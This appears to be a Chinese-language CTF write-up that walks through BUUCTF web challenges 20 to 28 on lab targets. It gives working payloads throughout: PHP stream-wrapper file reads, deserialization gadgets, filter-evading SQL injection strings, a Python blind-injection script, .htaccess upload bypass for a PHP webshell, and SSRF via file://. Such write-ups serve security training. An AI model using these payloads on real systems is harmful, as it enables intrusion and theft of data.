BUUCTF-page_1 总结(下:20-28)
---钦原.2021-5月末
总目录整理:
文件包含类:
1: HCTF-warmup-2018:php(审计文件包含)
4.[ACTF2020 新生赛]Include
5.[极客大挑战 2019]Secret File
SQL注入类:
2.Web-强网杯sql随便注:
3.[SUCTF 2019]EasySQL
6.[极客大挑战 2019]LoveSQL
15.[极客大挑战 2019]BabySQL
21.[极客大挑战 2019]HardSQL
25.[GYCTF2020]Blacklist
22.[CISCN2019 华北赛区 Day2 Web1]Hack World
26.[GXYCTF2019]BabySQli
命令执行类:
7.[ACTF2020 新生赛]Exec
8.[GXYCTF2019]Ping Ping Ping
框架特性利用类:
9.[护网杯 2018]easy_tornado
php解析特性绕过利用类:
10.[RoarCTF 2019]Easy Calc
HTTP请求头等基础题类:
11.[极客大挑战 2019]Http
17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)
16.[ACTF2020 新生赛]BackupFile(php弱类型比较)
18.[BJDCTF2020]Easy MD5
24.[MRCTF2020]Ez_bypass(弱类型)
审计-反序列化类:
12.[极客大挑战 2019]PHP---> php-serialize()反序列化
20.[ZJCTF 2019]NiZhuanSiWei
31.[网鼎杯 2020 青龙组]AreUSerialz
27.[网鼎杯 2018]Fakebook (sql+反序列化+ssrf)
28.[网鼎杯 2020 青龙组]AreUSerialz
文件上传类:
13.[极客大挑战 2019]Upload
14.[ACTF2020 新生赛]Upload
19.[SUCTF 2019]CheckIn
23.[MRCTF2020]你传你马呢?
--------------------------------------------------------------------------------------------------------------------------------
20.[ZJCTF 2019]NiZhuanSiWei
发现审计内容:
看到有include文件包含,是解题的重点,所以先看第一个if,必须先满足它。
text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf
file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。
而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。
所以需要用方法绕过它,两种方法
1.php://input伪协议
此协议需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。
看到有回显,可行。
2.data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似
也可以加上 base64 编码。
再看第二个if file不能有flag字符。没啥,往下看。
提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。
php://filter/read=convert.base64-encode/resource=useless.php
所以构造payload:
http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/
?text=data:text/plain,welcome to the zjctf
&file=php://filter/read/convert.base64-encode/resource=useless.php
成功回显。
(此处text用data://的理由是php://input是用post而拼接变量,不方便)
得到的base64经过解码后为:
useless.php :
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
$a->file="flag.php";
echo serialize($a);
?>
此处建议在线php
输出为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以构造payload:
http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/
?text=data:text/plain,welcome to the zjctf
&file=php://filter/read/convert.base64-encode/resource=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
无flag回显:
这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag 。需修改为 useless.php。
最终payload:
http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/
?text=data:text/plain,welcome to the zjctf
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
访问后f12即可见flag:
flag{31a696e7-345d-4fd7-95ee-853510639c47}
优秀wp:https://blog.csdn.net/tm_1024/article/details/107150182
21.[极客大挑战 2019]HardSQL
首先抓包丢sqlmap level3慢慢跑
这边先测试:
1:
判断闭合:单引号成功闭合
2:
判断注释:#成功注释
3:
逻辑触发:
'and 1=1# 被拦截
经测试:and、or、空格、=、等
被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入
空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号
^ 等同于 and
语法: Updatexml(1, concat(0x7e, ,0x7e) ,1)
构造payload:
'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
出库名,继续走,遇到空格就()小括号包裹绕过
'^updatexml(1,concat(0x7e,(select((group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
发现被检测,一看,忘记把最后的=换成like
墨迹好半天,老报错。。注意小括号位置且要完整对应
'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1)#
H4rDsq1
'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)#
id,username,password
继续跟password字段:
'^updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)#
flag{195ec821-750a-4f9a-a86b-9c
发现显示不完整:
补充知识点:
left() right() 函数,
LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)
LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHAR或BINARY STRING
发现只能输出32位左右,那我们让他从右往左输出30个,然后拼接
所以构造payload:
'^updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1)#
//right((password),30)
1-750a-4f9a-a86b-9cfbdec97feb}
拼接:flag{195ec821-750a-4f9a-a86b-9cfbdec97feb}
22.[CISCN2019 华北赛区 Day2 Web1]Hack World
(有史以来最最最,感觉学python真的有用,尤其是爆破的一次!!Burp盲注ascii爆破搞了42位,然后python3不到40秒钟就出来,心态啊。)
看题:测试过滤了什么?:
union,or,and,||,&&,order,limit,*,;,%23,#,",还有空格都等常用常见的sql注入、判断语句被过滤了。
但可以替换and的 ^ 符没被过滤,那么:
用 ^ 替换and
用()包裹替换空格,本题经测试可知是布尔盲注:这道题除了过滤就是无脑布尔盲注,脚本或burp(会py一定脚本),故没有太多原理可补充,直接贴 wp
解题方法:
可以
这样傻乎乎的爆破42位(没错当我不会python的时候我都这么做。。还真做出来了呵呵呵呵f*)
python3 确保网络速度和页面链接正常,秒出。。
----------------------------------------------
import requests
import time
url = "http://0913e479-f140-4b93-90b7-48bdc9c6206c.node3.buuoj.cn/index.php" #这里url换为自己的
payload = {
"id" : ""
}
result = ""
for i in range(1,50):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
#print(payload) #这里可以输出payload,想看payload的可以看
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
-----------------------
结果:
flag{e8c369df-da87-4e7a-8c96-4632bcc11cdf} over
23.[MRCTF2020]你传你马呢?
打开靶场 是上传
裸马被拦截,继续测试,尝试MIME绕过:
文件后缀改为jpg,Concent-type字段改为: image/jpeg
成功上传至:
/upload/347fbe793214f7430dc140daf0d84d99/.jpg
但无法按照php解析?尝试使用配置文件绕过:.htaccess文件绕过
编写一个txt内容为:SetHandler application/x-httpd-php 后保存,更名为.htaccess
上传至靶场,同时更改类型为 image/jpeg
回显:成功上传
/var/www/html/upload/347fbe793214f7430dc140daf0d84d99/.htaccess succesfully uploaded!
之后用蚁剑连接上传好的jpg马子,就ok了
主要考查了基本的文件上传MIME和后缀名检测绕过,加上.htaccess 配置利用的绕过。
24.[MRCTF2020]Ez_bypass
打开靶场,发现给好了源码,f12后整理到code:
发现
第一步考察的是php弱类型:get收到的gg和id的值不能相等但是md5的值需要强相等:
直接数组绕过,hackbar里get传入?gg[]=1&id[]=2
成功突破第一关
接着审计发现需要让passwd变量,post传入,且不能为数字的前提下值为1234567
考虑梅开二度数组法,结果:
让我们不要故技重施
那好办,直接post传入:passwd=1234567aa
Over
25.[GYCTF2020]Blacklist
知识点:handler和sql语句差不多的功能,性能极好,只是对应用来说需要巨大改动,而sql优势在标准化,故不算普及,handler的语法等不再赘述。
1';show databases;# //获取数据库名
1';show tables;# //获取表名
1’;desc `表名` //获取表结构
当我们再次使用修改字段名这种方式的时候,发现过滤了这些关键字,该怎么办呢
于是,我们查了百度,然后又学会了一个新姿势
HANDLER [表名] OPEN;语句打开一个表,使其可以使用后续HANDLER [表名] READ;该表对象未被其他会话共享,并且在会话调用HANDLER [表名] CLOSE;或会话终止之前不会关闭
1’;
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere close;#
Payload最终:
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere close;#
执行这个,然后,就可以出来flag了
26.[GXYCTF2019]BabySQli
打开发现账号密码框,猜测是注入:
先分析一波首页源码,没啥问题
单引号可以报错,没有拦截
接着order by测试
(这里也可用burp先fuzz一下过滤机制,此处先略过)
尝试大小写绕过
成功绕过
猜测到四个字段开始提示字段错误,说明一共三个字段
继续测试,发现’admin’位于第二个字段位时,正常输出wrong pass而非 wrong user
说明第二个字段是username
这里关键点是,mysql在查询不存在的数据时,会自动构建虚拟数据,一般数据存储要么明文,要么MD5,这里参考wp(因为没有任何提示,脑洞型)
构造一个password,md5查询
Md5->123456 = e10adc3949ba59abbe56e057f20f883e
最后payload name=a'+union+select+1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
Over
27.[网鼎杯 2018]Fakebook
进入页面,常规审计f12无发现,这边先扫一下有无泄露扫目录,扫描目录发现存在robots.txt和flag.php,访问发现源码泄露/user.php.bak
用户在注册填的blog会调用get()函数使用curl发起网络请求获得blog内容并显示出来
这里因为curl_exec()使用不当造成SSRF,
但因为注册的时候限制了http(s)协议,故直接利用SSRF漏洞读flag.php不可行
发现页面view.php?no=1存在数字型注入,经过简单判断:4个字段。注入发现union被过滤,使用/**/绕过
我们猜测对应回显点的位置是在这些地方,2位置是可以直接回显联合查询注入的
下面分方法了:
法一:ssrf+反序列化+sql注入
根据报错信息可知:
1:网站绝对路径(/var/www/html/)
2:数据库里的数据都是反序列存储
因此只要访问/var/www/html/flag.php就可以拿到flag,但通过http(s)协议无法读到flag,curl不仅支持http(s),还支持file协议,所以可以通过file协议读文件
我们在此猜测(暂时未发现线索说明flag就是这个位置的,只能猜,而确实是猜出来的)位置为:
/var/www/html/flag.php
得到反序列化字符串:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
所以接下来只要把这段字符串放在get接受的位置即可:(加单引号包裹)
Payload:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
~至于为何在4位点插入串,因为我们之前猜测了:ssrf的利用位置在blog--4位点。别的位置无法curl_exec()造成ssrf
可以看到成功blog为flag地址,审计f12得到base64字符串,解码得flag
法二:sql注入load_file()利用报错的绝对路径直接查到flag.php(是不是后悔自己发现了源码泄露?)
因为我们已经猜测了flag.php的位置,所以确认存在sql之后,我们可以利用load_file函数:
payload:?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
f12空白区域,直接得到flag
28.[网鼎杯 2020 青龙组]AreUSerialz
打开页面发现 审计:
总结:
1. 传入str,经过处理反序列化。
2. is_valid过滤:传入的string要是可见字符ascii值为32-125。
3. $op:op=="1"的时候会进入write方法处理,op=="2"的时候进入read方法处理。
is_valid过滤-绕过:
1.正常构造payload的话因为op、op、op、fliename、$content都是protected属性,序列化的的结果的属性名前面会有/00/00(或者%00%00),/00的ascii为0不可见的字符如下图,就会被is_valid方法拦下来。
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
弱类型绕过:
然后最后执行到:$obj=unserialize($str)
(会调用__destruct魔术方法,如果op="2"的话就把op="2"的话就把op="2"的话就把op="1"
这时候要使op="2"不成立且op=="2"成立,这里可以自己使用op等于整数2而非字符”2”使得进入read方法里面。
然后构造序列化字符串:
最后payload:
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
查看源码即可看到flag
或者使用PHP伪协议读取flag.php:
得到base64解码得到flag
Page-1
OVER
总计整理28道(page-1)
大佬勿喷---钦原
发表评论